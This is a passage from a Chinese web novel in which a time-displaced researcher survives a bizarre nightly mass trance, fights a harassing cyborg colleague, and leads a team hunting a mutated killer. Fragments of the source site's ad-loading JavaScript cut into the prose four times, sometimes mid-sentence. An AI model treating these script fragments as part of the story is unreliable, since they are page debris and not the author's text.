“你给它缠成这样,还能动吗?”安燃无语,时序好像一点生活常识都没有,好好的猫,被时序都缠成木乃伊了。 “好得快,”时序最后打了个漂亮的结,“你……” 终端突然响起来,提醒她时间。 凌晨三点。 被她挤开站起来打算讲话的安燃,声音戛然而止,时序站起来没听到聒噪的鸭子叫,回头一看: 安燃直挺挺地站着,头颅高高扬起,双眼翻白,嘴巴张成O型,时序见状迅速抽出短柄斧,腰微弯,警惕地靠墙站着,眼神死死盯在安燃身上。 可安燃一动不动,喉咙中偶尔发出低低的呼呼声。 很快,他因嘴张的时间过长,流下生理性的口水。 猫猫被时序挡在身后,安燃这个动作维持了将近十多分钟,就在时序以为他不会再动的时候,他动了。 手脚仿佛刚长出来似的,各有各的想法,动作迟缓又生疏,就这么手脚并用地走出没关的房门。 时序不禁想起她曾经看过的丧尸电影,唯一不同的是,安燃没有攻击人。 不一会外面传来人滚下楼梯的声音,时序纠结几秒,跟着出了门。 门外紫蓝色的暗光充斥着整片大地,时序抬头,天空一会蓝一会绿,让她不自觉想起极光。 空无一人的街道,诡异的极光,时序来不及细想,楼梯又传来声音,她看了两眼天空,飞速拐下楼梯口,安燃像只猴子似的,四肢着地屁股撅着满地乱爬。 时序:…… 眼前的场景诡异中带着好笑,街上渐渐汇聚起跟安燃一样翻白眼张着嘴的人,有的像气球人手脚极为不协调,有的跟跳舞似的滑来滑去,蓝紫色的极光打在脸上,颇有一种丧尸围城的美。 时序默默退回楼上,趴在栏杆上静静看着街上群魔乱舞。 130年,人类怎么就进化成这样了?怪不得凌晨三点前必须回家,不回家就会失去意识,聚众蹦迪。 真想给他们放首可以蹦迪的歌,时序撑着栏杆手托腮,随即想安燃变成那个样子,那她为什么没受影响? 大概因为她有系统,她想。 看着楼下的安燃【快乐】地跟其他人一起手舞足蹈,时序觉得好像也没安燃说的那么严重,她转身进屋关门,打算看看小猫咪怎么样。 被她捆成木乃伊的小猫咪腹部均匀起伏,她捞起猫咪,确定伤口不再渗血后,解开浸着血液的绷带换成新的重新绑好。 当她绑好时,发现小猫咪已经醒来,正用一双蓝眼睛看着她。 小猫咪转头舔了她手指一口。 时序嗖的收回手,被吓到似的。 小猫咪也被她的动作吓得浑身一震。 时序摸了摸被舔的手指,自言自语:“你是不是饿了?我买了罐头和猫粮……这么小的猫能吃吗……” 说着她拿起边上的猫粮,将猫粮撕开,找了张纸巾铺好,十分精细地把猫粮倒在上面。 一人一猫谁也没动。 “……”时序放下猫粮,后知后觉想到小猫咪可能没办法动,她把小猫咪拎出来,双手扶着猫猫,猫咪尾巴抖了抖,低头慢慢吃起来。 伺候完小猫,时序总算有时间打量起这间同样不大的房间,因为搬家,房间被安燃收拾的很干净,但相对的,生活用品除了基本的床垫桌子,通通没有。 一张一米见宽的单人床,一张跟床差不多宽的简易桌,没有衣柜只有挂衣服的衣架,一平米的卫生间有马桶和淋浴头,门边还有个小小的灶台。 时序挺满意的,能睡觉能洗澡还能做饭,还要什么自行车。 百叶窗等天亮再打开好了,时序把黑色T恤剪开铺到床垫上,裤子卷起来当枕头,就这么躺了上去,躺下来的一刻,她放松的吐出口气,很快她眼皮发重迷迷糊糊。 就这么睡着了。 一夜无梦。 …… 时序美美睡了一觉,醒来的时候天光大亮,阳光透过百叶窗照进来,她从床上起来伸了个大大的懒腰,随手拉开百叶窗—— (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 外面确实跟她想象的一样,是巨大看不到头的垃圾山,她眯着眼使劲看,感觉直到地平线的另一边都是绵延不绝的垃圾。 她打着哈欠,准备开门看看昨天群魔乱舞的丧尸们怎么样了。 推开门,外面阳光普照,街上人烟稀少,路边倒着零星的两三个人,时序打算关门时,路边开过来一辆车,下来几个穿着防护服的人,把倒下的人像拖死猪一样拖到车里, 时序下意识掩门,从门缝里看,可惜看不清车上的标识,也看不清防护服上面的字。 倒下的人没有安燃,那证明他应该还活着,时序关上门,随手掏出一把猫粮放纸上,距离周一还有3天,这3天…… 她拿出帆布包里面的能量棒能量胶一个一个放到桌上: 她拿回来两袋能量胶三根能量棒,一袋能量胶能撑一天,她有两袋,一根能量棒能撑半天,她有三根,优势在她。 再不行,还有猫粮,猫能吃,人也能吃。 时序收起宝贵的食物,心里又有点泛酸,以前在网上看到过不少100元挑战过30天的视频,没想到她也有这么一天。 好在她现在的博士学历外加研究中心实习调查员的双重身份,让她能免费乘坐公共交通,不然她还要走着去上班。 想了想,她不禁闭上眼睛,悲从中来。 【倒计时:920小时,请宿主抓紧时间完成任务。】 随着电子音的响起,时序觉得自己更悲伤了,悲伤,逆流成河。 数着日子熬到周一,这天时序起了个大早,吃掉最后一根能量棒,精神抖擞地去地铁站坐最早一班地铁,这几天她把大部分时间都花在乘坐地铁和学习上,对十三区有了大概的认知,十三区的整个面积范围相当于她所在的国家的两个最大的省份合起来那么大,其中一面靠近海洋,但近海全部被填上,最后变成垃圾填埋场。 而且现在仍时时刻刻的有垃圾被运往填埋场。 她住的这间小公寓,原先是填埋场的工人居住的,但随着垃圾越来越多,工人处理不过来,后来索性废除,变成了谁都能扔垃圾的垃圾场。 周一早上7:40。 时序拎着她的破帆布包下地铁走进研究中心,她仍旧穿着那件破洞白T,坐电梯到三楼更衣室,打开衣柜,衣柜里挂了好几套制服,时序望着满当当的衣柜,美滋滋的去浴室洗了个澡,换上那套夹克式的制服和训练靴,别好写着名字的工牌后,按照指引上到位于5楼的调查科。 二科的牌子在最里面,最不起眼的地方,时序一番好找。 推开二科沉重的磨砂玻璃门,本以为这么早没人来的二科,进门后,最前面站着一个穿着深蓝色制服的戴面具的女人,时序进门的一瞬间,所有人的眼光霎那间都集中到时序身上。 被十几双眼睛注视着,时序丝毫不慌,她正正领口,贴墙走到写着自己名字的位子上正襟危坐。 “看样子人都到齐了。”女人开口,声音冷峻。 时序埋头。 “首先,先做个简短的自我介绍,我叫林斐,从今天开始担任异化研究中心异常事件调查科,调查二科的科长,希望跟大家合作愉快。”林斐说完打开终端,众人眼前出现一个立体建筑,她没有废话,立刻进入工作状态: “这是二科成立的第一个案件,调查这栋建筑里发生的杀人事件。” 17. 迷宫围城(一) 杀人事件?时序暗暗不解,调查科不是调查异化物相关情报的吗?怎么改调查杀人事件了? 她将疑问埋在心里,听林斐继续讲: “昨夜监测中心接到警报,十三区发生恶性杀人事件,凶手很可能是从五区流窜过来的,凶手在定期接受的精神值检测中,被发现精神值高度波动,引起异化粒子共鸣,极有可能产生高攻击性与传染性。” “本应接受矫正措施的凶手日前杀害监测中心工作人员后逃跑,根据追踪路线,凶手逃到了十三区的建筑物中,又陆续杀害了住在这幢建筑物中的流浪人员。” “我们的任务就是抓捕凶手。” 林斐说完,睃巡下面的几个人:调查二科总共12人,9女3男,除去林蓦跟她说过的时序和安燃,剩下的她只看过资料并未实际接触过。 “大家还有什么疑问?”林斐收回眼神开口问道。 “那个……”有个女生举手,林斐示意她继续说,女生有点不自在:“那个,林科长,我们不是处理异化物的吗?为什么还要配合监测中心抓捕人类啊?” 时序观察其他人的神情,看来都这么想。 林斐冷漠的嗓音透过面具传出来:“你们以为你们可以胜任吗?” 显眼包安燃抢着回答:“怎么不能啊林科长?别的人我不敢保证,我和时序肯定能!” 话音刚落,林斐目光紧随而至,面具把她的脸遮的严严实实,只有一双眼睛目光犀利。 “是吗。”林斐轻声问,“既然这样,想必抓捕一个【人类】杀人犯应该不在话下吧。” 时序就这样被推到风口浪尖,安燃个傻吊还在夸夸其谈,“那肯定啊!” 肯定个头啊!时序恨死安燃了,现在她成了焦点人物,拜托,二科刚成立她不想成靶子啊! “时序同志的事迹我们都知道,所以,林科长,我建议本次行动由时序同志担任行动组组长。”另一位女性发话,时序嗖地看过去,对方一头浓密的海藻绿长卷发松垮垮的扎着,头戴土黄色牛仔帽,没穿制服,身穿墨绿色还隐约闪着光的西装外套。 对方注意到时序投来的目光,对她挤了挤眼。 时序立刻扭头。 这人……从外表看就不正常,一口一个同志的,这也太复古了…… 时序腹诽,她只有在新闻里听到过同志两个字。 “哦……?其他人有意见吗?有想要毛遂自荐的吗?”林斐的声音传到时序耳朵里,时序总觉得阴测测的。 底下一片安静无声,连安燃都静悄悄的。 “那就这样,时序担任现场行动小组组长,梵空负责后勤,我担任本次行动总指挥。”林斐言简意赅:“一小时后集合。” 说完她推门而出。 时序松口气,掏出根能量棒嚼啊嚼,顺便环视二科的办公室。 二科办公室是一眼就能看出的仓促,窗户下面还有不少没收拾好的纸箱,窄小又距离近的工位,工位上该有的都有,就是塑封膜都没拆。 同样还有最前面的白板,和头顶的投影仪,全是崭新崭新的。 时序调整了下座椅高度,让她能坐的更舒适,安燃的工位靠近后门,离她还算远。 可梵空就在她左手边,时序哀叹,这人一看就是她不擅长应付的类型,她对梵空和安燃这种社牛有一种天然的恐惧。 右手边则是个莫西干头肌肉人,头上戴着耳罩不停抖腿,对方没开口讲过话,她不敢假定对方的性别。 新同事们没人讲话,时序抖了一会腿,能量棒虽然能提供不少能量,但手指头长的一根,她两三口吃掉,完全没有吃饱的感觉。 时间还早,她打算去食堂打探一下敌情。 自从阈里出来,她总有莫名的饥饿感。 于是她再度顶着十几个人的目光拉开门走出去。 整个二楼分为两个区域,食堂和健身区,时序左拐进了食堂,差点撞到食堂机器人。 “……”整个食堂除了吃饭的是活人,基本就是各种形状的机械,时序边看边走,愣是没看到菜单。 机械很先进,只需要扫描制服上别着的工牌就行,时序扫了下,很快出来一个餐盘。 被分割成四块的正方形餐盘没有菜没有饭,只有四块颜色不同的色块。 “我的饭呢?”时序忍不住问出声。 “盘子里就是啊!你瞎啊!”旁边排队的人毫不客气。 时序傻眼,不是,这一块红一块绿的,这玩意能吃? 后面排队的人开始催她,她只好端着餐盘随便找位置坐下,捏着勺子不知如何下手。 这能吃?一块红一块绿一块白一块黄,让人提不起一丝一毫的食欲。 她用勺子轻轻挖了块红色色块,有点像果冻,又有点像豆腐,看起来好像还真能吃。 “真的能吃?”时序小声嘀咕,将勺子送入口中。 感觉吃了一嘴沙子。 想吐不能吐,时序强忍着咽了进去,满脸都是复杂表情。 这里的人,吃的真的太差了,从她来到现在,就没吃过像样的食物,不是能量棒就是能量胶,猫罐头里好歹还有肉。 时序体会到了什么叫味同嚼蜡。 …… 吃完饭回二科,距离林科长说的集合时间还有半小时,时序推门进来时,所有人都注意到时序仿佛老了十岁,满脸都是沧桑。 时序无精打采的回到座位上,这顿饭吃的,还不如不吃,能量棒都比那个垃圾色块好吃。 她恨。 “组长,不分析分析案情?”梵空突然转头,满脸笑容地问。 时序则盯着她藻绿色的卷曲发尾想:这人头发可真够多的,听说头发多的人没烦恼。 梵空压低帽檐,声音也压的很低,凑到时序边上神秘兮兮地说:“你说,林科长长什么样?” “不知道。”时序不感兴趣,她转而问:“科长为什么戴面罩?” 梵空突然不说话了,时序感觉气氛不对,抬头一看,林科长正在看她。 “时序,如果你顺利抓到人,我就告诉你我戴面罩的原因。”林科长语调冷淡,“所以……我们的行动小组组长打算什么时候出发?” 时序站起来,除了安燃,其他同事一动不动。 “……”林科长站在门边,显然也没有帮忙的打算。 时序咬牙,从梵空就能看出来,她的新同事们没一个好相处的,不知是末世之下人心诡谲,还是职场就这样,人心难以揣测,不管怎么说,时序都挺头疼的。 所以她打算把压力转嫁给领导,“科长,那也得先给我安排队员啊,或者让大家来个自我介绍什么的,互相熟悉一下。” 至少得知道名字,不然多尴尬。 林斐顿了顿,“资料给你,自己看。” 时序终端滴滴的响,林斐把所有人的资料都发给她,显然是把权利暂时地让渡给她了,但时序不傻,这意味着她要想办法独自处理这群人。 一个科室的配置十几个人,她们这支队伍是混编,除了调查员以外,有原本是执行科的人,有 行政文职,甚至还有个晏清提到过的监测中心的人。 时序正头疼不知该说什么的时候,方才坐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她右手边的莫西干头肌肉人发话了: “现在研究中心也堕落了,竟然让墨丘利出来的大小姐当科长,林科长,要不把你那抗异化面罩摘下来吧,让我们看看到底长什么样。” 浑厚中带着沙哑刺耳的男声,时序想:原来这是个男的。 林斐面不改色冷然道:“如果你有真本事。” 卓光远嗤笑:“就凭你一个弱不禁风的女人?”说着,他晃晃悠悠地站起身,他跟时序一样穿着棒球夹克,只是时序穿着松垮,他撑得满满当当,莫西干头被他染成五颜六色,耳朵上还带着很多造型浮夸的耳饰。 在时序看来,这是标准的不能再标准的刺头造型。 原来被分过来的都是刺头啊……时序若有所思,眼神锁定卓光远。 卓光远离开自己的位置,双手插兜,林斐站在门边由内而外散发出一股冷漠气息,她的制服没有一丝褶皱,正如她不带一丝感情的双眼。 突然,伴随着梵空一声若有似无的低呼,卓光远俯身疾冲,插在夹克兜中的右手提起成爪,直冲林斐面门,眼看就要抠下林斐面罩—— 咣当一声,是两种金属发出的碰撞声,时序收回短柄斧,笑了笑:“就算再像个红毛丹,也不能随地大小扎吧?” 卓光远放下机械手臂,调转眼神:“原来是大名鼎鼎的时序啊,厉害厉害。” 时序背着手,实则悄悄揉着被震得发麻的手掌,听到卓光远的话,她赞同似的点头:“对,我就是大名鼎鼎的时序,林科长,您没事就好。” 话音刚落,她好像听到林斐一声似笑非笑的冷哼声。 卓光远摸着耳垂,视线上下打量着时序,时序对他的视线感到异常不适,就好像在对方眼中,她不是一个人,而是一只被盯上的猎物。 “啧,仔细看还有点漂亮,要不要跟我来一次?”卓光远舔舔唇,有种跃跃欲试感,时序心里犯恶心,虽然以前也遇到过类似的凝视,但这么肆无忌惮的,还是头一次。 既然都被当成刺儿头了,她干点符合人设的事也没什么不对的吧。 “你?”时序拉高语调地反问,同时她动作迅猛地抽出藏在身后的斧头,对着对方面门就是一记斜劈,对方来不及曲臂防御,硬生生歪着脖子躲过时序的攻击。 斧头带起的风吹落几缕彩色的头发,时序扔掉手里的那撮满脸嫌弃:“早就看你这一头杂毛不顺眼了,现在这个发型更适合你。” 卓光远摸头,头上他引以为豪的头发此刻空空如也,只有一点点刺手但手感不错的毛茬。 卓光远愤怒了,他表情由俯视变成夹杂着怒气的蔑视,在时序灵巧躲过他的几记重拳后,他只剩下愤怒。 “停。”一直看戏的林斐喝道。 卓光远咆哮:“去你大爷的!敢拦着我一起弄死你!” 他理智尽失,脸上表情狰狞,再配合他的光头和壮硕的体格,显得他像只大猩猩。 时序眼神微沉,这人虽然看着没有章法,实际上她的攻击都被对方巧妙化解,只是这里空间实在太小,她没办法…… 眼下,机械臂近在咫尺,时序打算闪开时,机械臂的小臂附近突然变成密密麻麻的尖刺,卓光远大笑:“什么大名鼎鼎!看我捅死你!” 时序心里一惊,下意识弯腰侧身,尖刺擦着她的脸挥过,她心里一狠,直起腰迅速向机械臂的小臂中缝砍去。 【线路切断。】随着警报声和卓光远的哀嚎声,时序喘口气,抹了把脸上的血迹,一脚踹倒卓光远,她单脚狠狠踩着卓光远的胸口,自上而下俯视着对方: “就凭你?你算什么东西?” 18. 迷宫围城(二) “还有想挑战我的吗?随时欢迎。”时序抬起头环视着二科。 刚才的一幕所有人都看在眼里,卓光远是中心出了名的不听指挥,换了几个小队,不是殴打队友,就是骚扰女性,除了林蓦,就没有他不敢骚扰的。 二科女性居多,虽然各有各的棘手,但统一的是,每个人都不喜欢卓光远。 没想到时序连卓光远都放倒了……一时间在场人眼神各异,除了从进来后一直嬉皮笑脸的安燃和神在在的梵空。 卓光远被时序踩得呼吸困难,他一直以来靠义体欺男霸女,没想到居然时序用把破斧头给砍坏了,他此刻不止物理上的憋屈,心理上也憋的不行。 他摇摇欲坠的想起身,又被时序狠狠一脚踩下:“老实点。” 林斐冷眼看着闹剧结束,趁此间隙,她拉过白板在上面写写画画。 “闹够了就回自己的工位,现在我要开始讲案情,讲完行动小组就出发。”她发号施令,时序收回脚,对着卓光远笑: “我劝你以后不要打这么多耳洞了,真的会影响听力,和智力。” 卓光远抱着坏掉的机械手臂起身,一言不发回到工位,时序跟着他,优哉游哉一屁股坐下,琢磨着向中心申请换一柄斧头,才砍了几下机械臂,斧刃就卷边了。 “凶手姓名早川结太,监测中心员工,五区坠落后,由监测中心派往【农场】进行农作物数据监测工作,”林斐用终端的投影功能投影出早川结太的照片,照片中的男性,厚重刘海遮住双眼,下半张脸瘦的近乎脱相。 他穿着监测中心的黑色西装制服,时序手撑着下巴,觉得监测中心的制服要比她们研究中心的好看一点点。 林斐顿了顿,继续说:“5日前,早川结太在例行的精神检测中,发现最近一个月精神值波动较大,有高度异化风险,中心建议他去矫正中心进行治疗,还给他批了三个月带薪长假。” 时序:监测中心的员工福利怎么听起来比她们研究中心好。 “科长咱们什么时候能有三个月的带薪长假啊?不能被监测中心那帮弱鸡比下去哇!”底下有人起哄。 时序赞同,她们研究中心干的是卖命的活,福利得跟上。 林斐低笑一声:“能解决案件,什么都好说。” 接着她语气肃穆:“根据他的同事回忆,早川结太知道自己精神值波动剧烈后,情绪非常不稳定,表现出强烈的恐惧与抗拒,尤其听到要被送去矫正中心后。” “所以在路上他就杀害了负责看管他的人,然后逃跑了?”安燃出声,“那不对啊?他瘦的跟竹竿似的,怎么杀人啊?还连续杀了好几个?” 林斐点头,“还不算太蠢,这是他袭击人时的视频。” 终端放起视频来。 开头是一处密闭空间,配上林斐的解说,“这是他在押运车内,接着……” 视频中穿着蓝白相间病号服的男人,双手双脚带着特殊的镣铐,对面坐着两个全副武装穿着防护服的看押人员,两把镭射枪枪口对着男人。 看着不像治病,倒像是上刑场。 早川结太低着头一动不动,时序却拧眉:她记得系统给她看篡改过的视频,她当时也是这样一动不动。 低头的状态持续没多久,也许是把他一动不动的时长剪掉了,时序闪过想法的几秒钟后,早川结太动了。 一开始只是看上去不舒服的扭动,对面其中一人挺身凑过去看了看,似乎还问了什么,早川结太摇头,一副怯懦模样。 但他扭动的幅度逐渐加大,对面的两个人同时起身,一个负责联络,另一个则把镭射枪的枪口贴在早川结太的脑门上。 短短几秒,早川结太脖颈以下的身体不受控制的往前仰,而脑袋拼命向后靠,整个人剧烈的抽搐,举枪的人枪口不停地抖。 时序挺腰坐正,表情凝重,因为视频里早川结太胸口处,什么东西顶起了他的病号服,视频没有声音,时序看着早川结太的样子,耳边不自觉回响起阵阵惨叫,时序捏紧拳头,下意识摸右眼的眼罩。 很快早川结太的病号服被割破,两个押运人员大概从未遇到过相似情况,一时间不知该如何处理。 时序跟着紧张:虽然镭射枪威力很大,但他们是在押运车里,擅自射击后果不堪设想。 但也是一瞬间的犹豫让两人丧命。 早川结太胸口蹿出一柄有着锋利刀锋的圆形锯齿,早川结太周围有大量血迹,摄像头下,他血液闪烁着隐隐若现的光。 他的血液里面异化粒子浓度明显高出阈值一大截。 圆形锯齿离开早川结太身体,速度飞快地在车内狭小空间转了一圈,连人带车全部被切割,下一刻,车爆炸了。 视频就此结束。 “啊这……这是异化了吧?刚不是还说是杀人案件吗?”最开始举手问问题的女生又第一个发言。 她表情略显纠结,“科长,你说话前言不搭后语呀!” 她话音刚落,时序开口,“科长,他死了吗?” 林斐关掉投影:“死了就不需要我们抓他了。” 时序有点囧,她换个问法,“科长,我的意思是一个大圆锯从他身体里破体而出,他这都没死,明显属于异化物的范畴了,那个什么监测中心竟然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没测出来吗?” 林斐:“这是需要我们调查的,监测中心的数据不会有错,但他的身体数据除去最近的一次检查外再无异常。” “无论如何,行动小组先去13区废弃城寨的建筑物现场勘查,如果遭遇早川结太,尽量在对方活着的情况下将人抓捕。”林斐解释完下达命令: “时序为行动小组组长,钟晴、安燃、边寒……”林斐稍加停顿,“卓光远,你们四个人为行动小组组员,梵空,你作为后勤人员跟着她们。” “了解!”梵空笑嘻嘻的,还对林斐脱帽致意。 “剩下的人作为第二行动小组留下待命。”随着林斐一声令下,所有人行动起来各就各位,时序一马当先准备去更衣室换衣服,被身后的钟晴一把拉住: “组长你去哪?” 时序疑惑:“我去换防护服啊?” 钟晴指另一边,“你还真是什么都不知道,你看她们,哪个去更衣室了?防护服有专门更换的地方,你跟我来。” 时序定睛看,行叭,就连跟她一块入职的安燃都知道往哪走。 为什么就她不知道? 难道她被这帮刺头孤立了? 要知道能被刺头孤立的人,要么是弱者中的弱者,要么是刺头中的刺头。 时序觉得自已大概也许可能应该是后者。 钟晴见她脸色阴晴不定,大概也能猜出时序在想什么,“你肯定没好好看培训手册,里面什么都有,我听说你是我们研究中心学历最高的人,应该不至于犯这样的低级错误。” 时序呵呵一笑,“那肯定的。” 钟晴继续说:“你不光学历高,身手也那么好,真羡慕,我也喜欢读书,可监测中心不给我机会,你有空能教教我吗?” 时序嘴角僵硬,教什么?她能教什么?来自130年前的可怜女大学生能教这帮赛博时代的人类什么? 同时她下定决心,等这次任务结束后她要恶补原主的生物学课程,不然一问一个大张嘴,容易引起怀疑。 “哈哈哈……有机会的话……下次一定……”时序尬笑着说,钟晴带她来到地下二楼,上次时序来的是地下一楼,没想到穿戴装备的地方原来在地下二楼。 “转成正式调查员后,以后在这里更换装备,虽然调查科不比执行科,但防护服和行动装备好歹也是量身定制,后期咱们调查员还能考职称晋升,我觉得时序你肯定没问题,祝你早日成为深渊调查员,带领咱们二科走向辉煌巅峰。”钟晴说的动情,时序听的头大。 这都什么玩意儿? 这就是职场吗?真是太可怕了。 19. 迷宫围城(三) 一行人穿戴好装备后,由边寒带领小队进入地下车库,时序跟在边寒身后,静静观察着组员们。 地下车库分区停放着各类车辆,有平时正常出勤用的普通小车,也有她们出特殊任务用的特种防暴车。 跟她搭话的钟晴是先前最先回应林斐的那个女生,安燃和卓光远她认识,而身前的边寒……她从开始到现在一句话没讲过。 边寒戴一副无框眼镜,头发尽数塞进头盔里,头盔眼睛的部分有哑光色透明材质,从外部看是黑色的,而从内向外看是正常颜色。 从防护服到武器装备,跟她出新人任务时的相比,能明显感觉到档次的不同。 “组长,由您负责开车。”边寒一行人带到一辆黑色涂装防爆车前,终于说了今天的第一句话。 时序顿了顿,她驾照还没考完……这就要上路? “边寒,哪有让组长开车的?再说你算什么,还吩咐上组长了?”钟晴第一个不同意,安燃跟着帮腔,“就是啊,哪有让领导开车的?你叫边寒是吧,你怎么不开?” 边寒没废话:“员工手册上写的,我只是遵照执行。” “别吵了,我开。”时序二话不说坐上驾驶位,人类都有义体了,自动驾驶什么的,应该问题不大。 “……”然而上了车她傻眼,尽管乍看跟她那个时代差不了多少,但明显这种特殊作业车操作更复杂,中控台多了不少按钮不说,脚底下一排踏板,根本分不清油门和刹车。 时序果断下车,拍拍边寒的肩膀:“边寒姐,我不会开,拜托您了。” 话音刚落,她听到边寒微微叹气,接着一声不吭上了车,时序坐副驾,其他人都在后面的密闭车厢。 车门关闭,边寒侧头问她:“组长,您有何计划?” 时序稍加思索,点开终端,两人面前显出建筑物的立体模型:“这栋建筑物占地面积很大,如果中规中矩搜查的话,一天怕是不够。” 边寒:“那您打算怎么办?” 时序:“这样,人员分配方面我们两两一组,再留上两个人原地待命,我跟卓光远,你跟钟晴,安燃和梵空留下。” 她一边紧急看员工手册一边讲:“咱们这车上还有巡逻机器人和无人机啊……那先把无人机放出去,我们和巡逻机器人混编。” 员工手册上写着巡逻机器人紧急情况下可搭载一到两个人逃生,还是个小型的移动火力库,功能多种多样。 “新手任务的时候,听人说咱们调查科装备不怎么样,这样一看还行啊!”时序感叹,至少比之前打不到人的小手枪和不管用的催。泪。弹要好得多。 边寒目不斜视将车开出地下车库,“那是因为您还没去过执行科。” “……”这话勾起了时序的好奇心,有机会一定要去执行科看看。 【恭喜宿主顺利融入研究中心,奖励:随时可查看任务完成进度。】 时序脸一垮,如此鸡肋的功能,宁可不要。 不过……她略有出神,她真的融入这里了吗?这样一个似是而非的世界,跟她说是130年后,她总是没什么实感。 此刻坐的车跟她那个时候的有区别吗?时序瞥了眼中控台,有,但区别没有大到让她感觉自己身处未来。 更别说十三区整体风格也没有给人特别先进的视觉效果,研究中心大概就是十三区科技水平最高的地方了。 撇开杂念,时序着眼观察起终端构建的建筑模型,她们要去调查的建筑整体像个四方体,外面看高低错落,所有楼栋连在一起,占地面积约三个足球场,高约30米左右,从模型模拟透视的效果来看,居民楼内部各种公共基础设施,像是学校市场之类基本都有,唯独楼栋中间镂空,仿佛天井。 跟她见过的城中村很像。 十三区遍布监控,监控显示早川结太最后消失在门口。 时序若有所思地盯着最后的监控截图:早川结太穿着破烂的病号服,身上血迹斑斑,而那把破体而出的圆锯,则嵌合在他的胸膛。 他是怎么从五区到十三区的?为什么五区到十三区的期间没听说监测中心报异常数据,也没发生任何杀人事件,反而到了十三区后才开始杀人? 问题很多,还需要更多信息,时序拨弄着模型,想的入神。 时序侧头思索的间隙,边寒时不时用余光看她,她的目光很轻,时序没察觉。 根据终端显示,建筑物在十三区边缘,临近十三与十二区的交界,更是跟她住的地方南辕北辙,时序利用终端的分析技术,得知这里曾经是某种设施的居民区,而今几乎是处于废弃状态。 貌似十三区有很多类似的废弃住房,其中就包括她现在住的那间。 “组长。”边寒突然出声,时序应了声,对方开口:“组长,听说您之前成功杀死了展开意识阈的异化物?” 时序脑子里还想在想早川结太,随口嗯一声。 “那您……肯定知道,【阈】是什么样的。”边寒声音放轻。 时序转头,指着边寒的手略微颤抖:“先不说那个,你的手……” 姐啊,你的双手离开方向盘,你的眼睛在看我,可你还在开车啊! 边寒冷静:“没事,我切换了自动驾驶,问题不大,您继续说。” 时序没上当:“我是见过,只能说,【阈】,因人而异,我看到的,不一定是你看到的。” 这个手册上有写,应该不算机密。 “那您看到了什么?”边寒契而不舍。 时序停顿一下,“你好像对意识阈很感兴趣啊……” 边寒一个直球:“对,在研究中心这不算秘密。” 时序没有多说,转移了话题,“早川结太……履历看起来问题还好,怎么会突然异化?” 她上下划动终端:资料显示早川结太出生于四区,成绩平平,但出生区域是他天然的优势,大学毕业后通过监测中心考试,进入监测中心数据管理科工作,进去后不久便因工作能力出众被调配到环境监测科。 从这里看,履历没什么问题,时序接着往下看: 在环境监测科工作的第三年,早川结太因服用过量精神辅助类药品导致的暴力事件而被处分。 从这往后,陆陆续续的都是早川结太的各种处分,时序看完早川结太比前半生经历多了十几行的处分,不禁感叹铁饭碗真够铁的,这都没被开除。 不过林林总总的处分都离不开几个字:精神辅助类药品。 时序正想问早川结太服用的是什么药,转念一想,不行,万一暴露自己啥也不会咋办? 作为研究中心唯一一个拥有博士学历的人,这个头衔令时序感到万分沉重。 “他服用的是过量的活化剂。”边寒突然说,时序垂眼,收起早川结太的资料。 “活化剂?”她低声自语。 边寒切换成人工驾驶模式,“对,不是监测中心配发的药品,我刚才尝试追溯来源,没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 结果。” 时序推测活化剂应该是精神辅助类药物的一种,她顿了顿,推测道:“既然早川结太使用了维持精神状态的药物,为什么还会异化呢?不应该啊……” 难道是他服用的药物有问题? 后半句时序没有说出口。 边寒没说话,在场所有人都全副武装戴着头盔,谁也看不到谁的表情。 这时林斐的声音强势插入:“即使使用精神辅助类药物,说到底只是辅助,想要精神状态健康稳定,除去基因方面的天生优势,还需要定期去维护精神状态。” 精神状态还要定期【维护】?怎么把人说得跟机器一样?时序心里想,林斐接着说:“定期维护费用昂贵,所以辅助药物是大多数人的选择。” “现在不是玩侦探游戏的时候,尽快将早川结太抓捕。”林斐语调冷淡,时序垂下眼,还在想关于活化剂的问题。 思考的过于入神,以至于没注意窗外飞速闪过的风景,还没等她思考出结果,边寒提醒她到了。 时序下意识的拉开车门下车:边寒把车停到了她们目的地建筑物的正门前,时序仰头,整座建筑物是用红砖一块块垒起来的,墙外是密密麻麻的窗户、阳台和搭在外面的各种管线,落下的线正随风轻轻飘着,时不时拍打着墙边生锈的铁质简易楼梯,发出“噼啪”声。 她收回视线,转而平视面前的大门。 说大门显然是一种抬举,其实就是一个在楼与楼之间稍显宽敞的长廊,长长的过道除了跟外面一样密麻的管道线路外,两边门外还有各种各样的门头和牌子,再往里看便是逐渐浓重的黑。 不难想象住着人的时候,这里是有多么的热闹。 “……这里……周围什么都没有……”时序低声自语,后排门缓缓打开,梵空最先跳出来,时序瞥了眼,眉毛皱起: “你怎么没穿防护服?” 梵空摆手,笑得露出两颗尖利虎牙:“我穿不惯那个,憋屈死了,再说我又不去现场,省下装备给你们咯!” 时序上下打量她,梵空穿的实在太特别了: 早先她只看到梵空上半身穿着黑色衬衫和墨绿色的绒面西装外套,现在她终于看到,梵空穿着条看起来特别硬挺的西装同色修身喇叭裤,喇叭裤脚是隐隐露出的橘色尖头皮鞋。 鞋头好像还有各种各样的花纹。 太潮了,潮到时序冒汗。 “边老师,她这么穿没问题?”时序不禁侧头问。 边寒眉毛不经意挑起,这么一会的功夫她在时序嘴里已然升级两次,看着梵空笑眯眯的对她们不停眨眼,边寒别开双眼: “梵空是总科长特批同意不穿防护服的,无所谓。” 说完边寒打开车后仓库,打开巡逻机器人,简单调试后,她让出位置给时序:“组长,机器全部调试完毕,该您下达指令了。” 小队人员已经整齐地站成一排,时序多看了眼卓光远,他跟安燃站在队伍两头,左臂不自然地耷拉着。 “十几分钟前,边寒已把无人机放出,地形差不多探清楚了,我们先看看建筑物里面是什么构造。”时序说着打开终端,其他人跟上,总共放出去四架无人机,都陆陆续续传回了地形图。 跟时序想的差不多,里面盘根错节像迷宫一样,如果什么都不准备就进入,百分百会迷路。 她只给猫留了3天的口粮,就怕猫犯傻一口气都吃了,万一她一个礼拜没出来,可别把猫饿死了。 20. 迷宫围城(四) 